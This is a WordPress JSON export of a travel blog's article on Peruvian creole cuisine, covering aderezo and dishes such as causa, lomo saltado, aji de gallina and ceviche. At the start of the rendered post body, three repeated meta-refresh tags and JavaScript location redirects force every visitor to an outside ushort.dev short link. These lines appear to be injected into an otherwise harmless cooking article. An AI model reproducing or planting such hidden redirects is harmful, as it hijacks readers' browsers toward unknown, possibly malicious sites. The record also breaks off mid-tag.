{"id":13736,"date":"2025-08-06T12:52:01","date_gmt":"2025-08-06T17:52:01","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=13736"},"modified":"2025-08-06T12:52:03","modified_gmt":"2025-08-06T17:52:03","slug":"discover-the-secrets-of-peruvian-creole-cuisine","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-the-secrets-of-peruvian-creole-cuisine\/","title":{"rendered":"Discover the Secrets of Peruvian Creole Cuisine"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Peruvian food, the food of Peruvians, is a ritual in itself. Each dish, each preparation, and each mouthful is something sacred for us, as they reflect our traditions, cultures, and the variety of our people and our beautiful land.<\/p>\n\n\n\n<p>Among the vast and diverse Peruvian food, this time we\u2019d like to talk about \u201c Peruvian<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/de-rompe-y-raja-celebrating-perus-creole-song-day\/\"><strong> creole<\/strong><\/a> cuisine\u201d or \u201ccocina criolla.\u201d <\/p>\n\n\n\n<p>So, let\u2019s dive into a mouthwatering journey to the secrets of a beloved part of our cuisine. We don\u2019t take the blame if you end up hungry!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>But what is Peruvian Creole cuisine?<\/strong><\/h2>\n\n\n\n<p>Peruvian comida criolla is a delightful mix of cultures that has developed over many years. It started in pre-Columbian times and has grown with the help of various migrant communities. <\/p>\n\n\n\n<p>This delicious cuisine combines flavors from <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/know-more-about-indigenous-peoples-in-peru\/\" title=\"\">Indigenous,<\/a><\/strong> Spanish, African, and Asian traditions.&nbsp;Doing so creates a rich and diverse food heritage for everyone to enjoy. <\/p>\n\n\n\n<p>Likewise, the term \u201ccriollo\u201d means the descendants of Europeans born in former colonies. This includes areas once ruled by Spain, France, or Portugal.&nbsp;<\/p>\n\n\n\n<p>Over time, criollo began to refer to the cultural expressions that came from these influences. This includes language, music, and food. <\/p>\n\n\n\n<p>For instance, in Peru, creole food blends traditional Andean ingredients with flavors from Spanish, African, Chinese, and other cultures.&nbsp;<\/p>\n\n\n\n<p>The result is an exciting array of dishes that highlight bold flavors, fresh ingredients, and unique seasonings. Peruvian Creole cuisine dishes capture the heart and soul of the country\u2019s culinary identity<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/ADIKBFHLU5HONPKIMAP5JZMQMM.jpg?resize=697%2C392&#038;ssl=1\" alt=\"\" class=\"wp-image-14571\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/ADIKBFHLU5HONPKIMAP5JZMQMM.jpg?w=992&amp;ssl=1 992w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/ADIKBFHLU5HONPKIMAP5JZMQMM.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/ADIKBFHLU5HONPKIMAP5JZMQMM.jpg?resize=768%2C432&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<h2 class=\"wp-block-heading\"><strong>The Heart of Peruvian Creole Food: Aderezo<\/strong><\/h2>\n\n\n\n<p>If you\u2019ve already eaten some creole Peruvian food dishes, what makes them so special? The secret is a simple yet powerful technique called the aderezo (saut\u00e9 base).&nbsp;<\/p>\n\n\n\n<p>This important step forms the heart of many beloved dishes like arroz con pato,<em>seco de carne, aj\u00ed de gallina, cau cau, lomo saltado, among others<\/em>. A great <em>aderezo<\/em> is key to achieving the rich flavors that make these meals so delightful.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>So, what exactly is an <\/strong><strong><em>aderezo<\/em><\/strong><strong>?<\/strong><\/h2>\n\n\n\n<p>An <em>aderezo<\/em> is the first step in preparing many Peruvian dishes. It involves saut\u00e9ing finely chopped onions, garlic, and chili pastes in oil until they release a wonderful aroma and flavor. <\/p>\n\n\n\n<p>This process boosts the dish&#8217;s taste and creates a balanced base.&nbsp;This base highlights the natural flavors of the other ingredients. <\/p>\n\n\n\n<p>The aderezo can change based on the recipe; it can be simple or complex. For example, some recipes use different spices, herbs, or even tomato paste for more richness. Enjoy exploring this vital step in your cooking!<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/echar-aji-panca-1024x681-1.webp?resize=697%2C464&#038;ssl=1\" alt=\"Peruvian Dressing\" class=\"wp-image-13745\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/echar-aji-panca-1024x681-1.webp?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/echar-aji-panca-1024x681-1.webp?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/echar-aji-panca-1024x681-1.webp?resize=768%2C511&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/echar-aji-panca-1024x681-1.webp?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong>Some Peruvian Ingredients for a Flavorful <\/strong><strong><em>Aderezo<\/em><\/strong><\/h3>\n\n\n\n<p>A well-made <em>aderezo<\/em> typically includes:<\/p>\n\n\n\n<p><strong>Red onion<\/strong> \u2013 The backbone of the <em>aderezo<\/em>, providing sweetness and richness when cooked slowly.<\/p>\n\n\n\n<p><strong>Garlic<\/strong> \u2013 Adds an unmistakable depth of flavor.<\/p>\n\n\n\n<p><strong>Aj\u00ed panca or aj\u00ed amarillo<\/strong> \u2013 These Peruvian chilies give the dish its characteristic color, mild heat, and a touch of smokiness or fruitiness.<\/p>\n\n\n\n<p><strong>Vegetable oil<\/strong> \u2013 Used to saut\u00e9 the ingredients and bring out their flavors.<\/p>\n\n\n\n<p><strong>Salt and pepper<\/strong> \u2013 essential for seasoning.<\/p>\n\n\n\n<p>People often use<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-your-ultimate-guide-to-native-spices\/\" title=\"\"> spices<\/a> <\/strong>like cumin and oregano in stews to add complexity and warmth.<\/p>\n\n\n\n<p>Some variations may include tomato paste, which is common in dishes like <em>seco de carne<\/em>, adding a slight acidity and natural sweetness. In others, a splash of vinegar or <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chicha-incas-legacy-in-a-glass\/\"><strong>chicha<\/strong><\/a> de jora (fermented corn beer) is used for a tangy twist.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/772fa908729a38418c658638f67e88d7.jpg?resize=697%2C523&#038;ssl=1\" alt=\"Aji Amarilo aderezo dressing\" class=\"wp-image-13746\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/772fa908729a38418c658638f67e88d7.jpg?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/772fa908729a38418c658638f67e88d7.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/772fa908729a38418c658638f67e88d7.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/772fa908729a38418c658638f67e88d7.jpg?resize=640%2C480&amp;ssl=1 640w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong>Tips for the Best <\/strong><strong><em>Aderezo<\/em><\/strong><\/h3>\n\n\n\n<p><strong>Layer flavors<\/strong> \u2013 If the dish requires meat, saut\u00e9ing it in the <em>aderezo<\/em> helps it absorb all the rich flavors.<\/p>\n\n\n\n<p><strong>Customize it<\/strong> \u2013 Not all dishes use the same <em>aderezo<\/em>. Some need more garlic, while others enjoy extra herbs.<\/p>\n\n\n\n<p><strong>Take your time<\/strong> \u2013 simmering the onions and chilies prevents bitterness and enhances sweetness.<\/p>\n\n\n\n<p><strong>Make it in advance<\/strong> \u2013 You can prepare a batch and store it in the fridge for quick use in many recipes.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Traditional Criollo Dishes<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Peruvian Arroz con Pollo<\/strong><\/h3>\n\n\n\n<p>The history of <em>Arroz con Pollo Peruano<\/em> is closely linked to <em>Arroz con Pato<\/em>, a traditional dish from Chiclayo, Peru. <\/p>\n\n\n\n<p>In the early 1900s, Lima faced a duck shortage. So,&nbsp;people began raising chickens, which were cheaper and easier to breed.&nbsp;<\/p>\n\n\n\n<p>Cooks and household staff started using chicken instead of duck for arroz con pato. This change led to what we now know as Peruvian arroz con pollo. }<\/p>\n\n\n\n<p>Another key adaptation was the replacement of chicha de jora, a fermented corn drink widely used in northern<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/teresa-izquierdo-the-queen-of-peruvian-cuisine\/\" title=\"\"> Peruvian cuisine<\/a><\/strong>.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"alignright size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/OHFCFFD24RDVBLEGCPEJ3ZUOKI.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Peruvian arroz con pollo with papa a la huancaina\" class=\"wp-image-13747\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/OHFCFFD24RDVBLEGCPEJ3ZUOKI.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/OHFCFFD24RDVBLEGCPEJ3ZUOKI.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/OHFCFFD24RDVBLEGCPEJ3ZUOKI.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/OHFCFFD24RDVBLEGCPEJ3ZUOKI.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/OHFCFFD24RDVBLEGCPEJ3ZUOKI.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Since transporting it to Lima was difficult at the time, it was swapped for beer, which blended seamlessly into the dish. These changes led to the tasty Arroz con Pollo Peruano.&nbsp;<\/p>\n\n\n\n<p>This dish is a favorite in Peruvian homes and is loved for its rich flavor and comforting nature. Many (including your favorite writer) love it with Papa a la huancaina.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Causa<\/strong><\/h3>\n\n\n\n<p>&nbsp;Although you can find many theories regarding the creation, one suggested that during the Pacific War, people gathered food to support the troops.<\/p>\n\n\n\n<p>They made this delicious dish with mashed potatoes, oil, garlic, salt, pepper, and lemon and sold it with the rallying cry: &#8220;Para la causa&#8221; (For the cause). Another viewpoint connects Causa to the<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-inca-empires-greatness-the-story-of-tahuantinsuyo\/\" title=\"\"> <strong>Inca empire<\/strong><\/a>.<\/p>\n\n\n\n<p>Back then, potatoes were called kausaq, which means &#8220;sustenance of life.&#8221; It is believed that the Incas enjoyed a version of this dish that included aj\u00ed (chili pepper), known as rokro.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"545\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/550984308_e053bc0e20_o.jpg?resize=697%2C545&#038;ssl=1\" alt=\"Seafood causa\" class=\"wp-image-13748\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/550984308_e053bc0e20_o.jpg?w=960&amp;ssl=1 960w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/550984308_e053bc0e20_o.jpg?resize=300%2C234&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/550984308_e053bc0e20_o.jpg?resize=768%2C600&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Today,<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/massive-causa-in-lima-breaks-world-record\/\" title=\"\"> Causa Peruana<\/a><\/strong> stands as an iconic dish with many exciting variations. Thanks to the many varieties of potatoes, the classic version layers yellow boiled potatoes, aj\u00ed amarillo, lime, salt, and oil, and is filled with chicken or tuna mixed with mayonnaise.<\/p>\n\n\n\n<p>&nbsp;It is often garnished with avocado, boiled egg, or olives. Thanks to its many possibilities, causa remains a cherished part of Peruvian cuisine, loved for both its traditional and modern twists.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Lomo Saltado<\/strong><\/h3>\n\n\n\n<p>By the late 19th century, talented chefs in Lima began to collaborate with Chinese immigrants who came to explore new opportunities. <\/p>\n\n\n\n<p>This exciting blend of flavors brought in Chinese food cooking techniques, like using a wok for quick, delicious stir-frying.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"355\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/El-inigualable-Lomo-Saltado-segundos-antes-de-ser-servido-%40arielrodriguez_fotografia-.lomosaltado-peruvianfood-foodporn-instafoodperu-beef-wok-vegetables-mexico-1.webp?resize=697%2C355&#038;ssl=1\" alt=\"\" class=\"wp-image-13749\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/El-inigualable-Lomo-Saltado-segundos-antes-de-ser-servido-%40arielrodriguez_fotografia-.lomosaltado-peruvianfood-foodporn-instafoodperu-beef-wok-vegetables-mexico-1.webp?resize=1024%2C521&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/El-inigualable-Lomo-Saltado-segundos-antes-de-ser-servido-%40arielrodriguez_fotografia-.lomosaltado-peruvianfood-foodporn-instafoodperu-beef-wok-vegetables-mexico-1.webp?resize=300%2C153&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/El-inigualable-Lomo-Saltado-segundos-antes-de-ser-servido-%40arielrodriguez_fotografia-.lomosaltado-peruvianfood-foodporn-instafoodperu-beef-wok-vegetables-mexico-1.webp?resize=768%2C391&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/El-inigualable-Lomo-Saltado-segundos-antes-de-ser-servido-%40arielrodriguez_fotografia-.lomosaltado-peruvianfood-foodporn-instafoodperu-beef-wok-vegetables-mexico-1.webp?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Since beef was expensive, creative cooks often used other proteins instead. The dish features a vibrant mix of tender meat and crisp vegetables, making it a popular choice on <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chifa-the-delicious-fusion-of-chinese-and-peruvian-flavors\/\" title=\"\">&#8220;chifa&#8221; menus<\/a><\/strong>.&nbsp;&nbsp;<\/p>\n\n\n\n<p>Over time, people added their own twists to the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/lomo-saltado-discover-one-of-the-worlds-top-dishes\/\"><strong>Lomo Saltado<\/strong><\/a> recipe. One popular variation is &#8220;pollo saltado,&#8221; which uses chicken instead of beef. <\/p>\n\n\n\n<p>Now, this dish is one of Peru\u2019s most beloved dishes. The mix of French fries and the soy sauce touching on the lomo makes it one of Peruvians\u2019 most loved dishes.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/seco-de-cabrito-a-peruvian-stew-that-won-the-popes-heart\/\" title=\"\">Seco\u00a0<\/a><\/strong><\/h3>\n\n\n\n<p>Peru and Ecuador both celebrate a delicious dish called <em>Seco<\/em>, but each country adds its own unique twist. <em>Seco<\/em> is a savory stew that can include various meats, such as chicken, lamb, and goat. <\/p>\n\n\n\n<p>For example, Ecuadorian Seco usually includes beer, naranjilla (great for chicken), tomatoes, onions, bell peppers, and spices.<\/p>\n\n\n\n<p>&nbsp;However, the Peruvian version stands out with its vibrant cilantro, which gives the dish its signature green color and bold taste. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/6663384461_a57cf3e6f2_k.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Seco de pollo\" class=\"wp-image-13750\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/6663384461_a57cf3e6f2_k.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/6663384461_a57cf3e6f2_k.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/6663384461_a57cf3e6f2_k.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/6663384461_a57cf3e6f2_k.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/6663384461_a57cf3e6f2_k.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/6663384461_a57cf3e6f2_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/6663384461_a57cf3e6f2_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>The side dishes also differ. In the highlands of Ecuador, <em>Seco<\/em> is typically served with fried ripe plantains, potatoes, and avocado.<\/p>\n\n\n\n<p>&nbsp;By the coast, people enjoy it with boiled or fried yuca and a fresh salad. Food journalist Rodolfo Hinostroza thinks that Seco might have come from Taj\u00edn, a traditional North African stew.<\/p>\n\n\n\n<p> It\u2019s thought that enslaved African women brought this cooking style to the Pacific coast of South America during the Viceroyalty of Peru.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Aji de Gallina<\/strong><\/h3>\n\n\n\n<p>Aj\u00ed de Gallina, one of Peru\u2019s most beloved dishes, has an interesting history rooted in Spanish cuisine. During the 14th century in Catalonia, Spain, a dish called <em>Menjar Blanc<\/em> (or <em>Manjar Blanco<\/em>) was popular.<\/p>\n\n\n\n<p> A meatless version of this dish remains a part of Spanish cuisine today.\u00a0When <em>Menjar Blanc<\/em> arrived in Peru during colonial times, it transformed. <\/p>\n\n\n\n<p>While the chicken breast, rice, and nuts remained, almonds and sugar were replaced with pecans and aj\u00ed amarillo (yellow chili pepper). This change took away the dish&#8217;s sweetness.\u00a0<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/QFL3U57PZVHVJFOMKTVWK5UBUE-1.jpg?resize=697%2C392&#038;ssl=1\" alt=\"\" class=\"wp-image-13751\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/QFL3U57PZVHVJFOMKTVWK5UBUE-1.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/QFL3U57PZVHVJFOMKTVWK5UBUE-1.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/QFL3U57PZVHVJFOMKTVWK5UBUE-1.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/QFL3U57PZVHVJFOMKTVWK5UBUE-1.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>According to Peruvian researcher Rodolfo Tafur Zevallos, <em>Aj\u00ed de Gallina<\/em> became widely popular in Lima by 1839. It featured shredded chicken in a sauce of onions, garlic, aj\u00ed, and bread, served with potatoes.&nbsp;<\/p>\n\n\n\n<p>Today, Peruvians make this dish with chicken instead of hen, as it is more affordable and tender. Modern twists include Aj\u00ed de Gallina teque\u00f1os, crispy rolls filled with creamy chicken. You can also find Aj\u00ed de Gallina Empanadas, which are pastries filled with the same tasty filling.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Papa a la huancaina<\/strong><\/h3>\n\n\n\n<p>In the 19th century, Peru started a big project. They built the Central Railway from Lima to Huancayo. Busy work schedules made it hard for laborers to go home for meals, creating a need for a quick and healthy dish.<\/p>\n\n\n\n<p>A group of Huanca\u00edna women stepped in to fill this gap, bringing food directly to the construction site. They created a simple and delightful meal with boiled potatoes, cheese, and rocoto, making it easy for workers to enjoy on-site.<\/p>\n\n\n\n<p>As noted by historian and bishop Rub\u00e9n de Berroa, a talented Peruvian woman named \u201cPaguantanta\u201d created this dish. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"466\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12624228343_754d6d3a9f_h.jpg?resize=697%2C466&#038;ssl=1\" alt=\"\" class=\"wp-image-13752\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12624228343_754d6d3a9f_h.jpg?resize=1024%2C684&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12624228343_754d6d3a9f_h.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12624228343_754d6d3a9f_h.jpg?resize=768%2C513&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12624228343_754d6d3a9f_h.jpg?resize=1536%2C1025&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12624228343_754d6d3a9f_h.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12624228343_754d6d3a9f_h.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12624228343_754d6d3a9f_h.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Originally known as &#8220;Salsa a la Huanca\u00edna,&#8221; it was a quick meal for railway passengers heading to Huancayo.\u00a0<\/p>\n\n\n\n<p>When this salsa arrived in<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/lima-the-capital-of-peru\/\"><strong> Lima<\/strong><\/a>, it changed just a bit with the addition of aj\u00ed amarillo, which gave <em>Papa a la Huanca\u00edna<\/em> its unique flavor and vibrant color. <\/p>\n\n\n\n<p>This meal remains a cherished element of Peruvian cooking, relished as a traditional starter throughout the nation.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Ceviche<\/strong><\/h3>\n\n\n\n<p>The epitome of Peruvian cooking is the ceviche. Ancient Peruvians used <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-tumbo-the-andes-citrus-treasure\/\"><strong>tumbo<\/strong><\/a>, a type of Andean passion fruit, to marinate raw fish. Other key ingredients are lemon juice, onions, and fresh fish. Now, we have different kinds of ceviche.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/04\/what-does-ceviche-mean-06-453.jpg?resize=697%2C392&#038;ssl=1\" alt=\"\" class=\"wp-image-12180\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/04\/what-does-ceviche-mean-06-453.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/04\/what-does-ceviche-mean-06-453.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/04\/what-does-ceviche-mean-06-453.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/04\/what-does-ceviche-mean-06-453.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Peruvians love eating <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-ceviche-perus-national-dish\/\"><strong>ceviche<\/strong><\/a> with sweet potatoes, corn, or ven with chicharron, or arroz con mariscos, which makes it an even greater experience. Ceviche is more than a dish for Peruvians; it\u2019s a piece of living and edible legacy.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>We have something sweet, too<\/strong><\/h2>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?resize=697%2C697&#038;ssl=1\" alt=\"arroz con leche\" class=\"wp-image-13325 size-full\" style=\"object-position:70% 64%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?resize=1024%2C1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?resize=150%2C150&amp;ssl=1 150w, 